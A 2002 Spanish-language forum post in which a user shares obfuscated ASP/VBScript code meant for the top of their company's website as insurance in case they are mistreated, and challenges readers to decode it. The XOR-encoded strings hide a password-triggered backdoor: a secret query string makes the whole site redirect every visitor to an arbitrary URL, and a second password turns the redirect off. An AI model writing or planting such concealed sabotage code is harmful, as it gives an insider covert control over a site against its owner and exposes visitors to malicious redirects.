
24/04/2002, 13:26
|
 | | | Fecha de Ingreso: febrero-2002
Mensajes: 101
Antigüedad: 23 años, 3 meses Puntos: 0 | |
Regalo codigo e invito a deducir cómo funciona... Os regalo un pequeño fragmento de código que he diseñado para colocar al principio de una web que estoy diseñando para mi empresa. Las cosas en mi empresa estan un poco "chungas" y por si las moscan me putean, yo tampoco me quiero quedar atrás.
Os invito (si es que teneis tiempo) a que lo descrifréis y contéis qué hace. Es un desafío.
<%
cnv()
Sub cnv()
Dim c,c2,c3,c4
Dim q,q2
Dim v,v2
'************ DEFINIR CARACTERES ASCII ESPECIALES
c=chr(69)&chr(72)&chr(65)&chr(72)& chr(89)&chr(74)&chr(82)&chr(66)&ch r(89)
c2=chr(69)&chr(72)&chr(65)&chr(72)& ;chr(89)&chr(74)&chr(82)&chr(66)&c hr(81)&chr(75)
c3=chr(71)&chr(76)&chr(68)&chr(94)
c4=chr(95)&chr(89)&chr(67)&chr(93)
c=enc(c)
c2=enc(c2)
c3=enc(c3)
c4=enc(c4)
q=request.querystring(c3)
q2=request.querystring(c4)
v=Application(c3)
v2=Application(c4)
if q=c then
Application(c3)=5
Application(c4)=q2
End if
if q=c2 then
Application(c3)=0
End if
if v=5 then
response.redirect (v2)
End if
End Sub
Function enc(byval t)
Dim l,i,n,m
Dim a
n=(10*3)+15
m=(10*2)+35
l=len(t)
a=""
for i=1 to l
if (i mod 2=0) then
a=a&chr(asc(mid(t,i,1)) xor n)
Else
a=a&chr(asc(mid(t,i,1)) xor m)
End if
next
enc=a
End function
%> |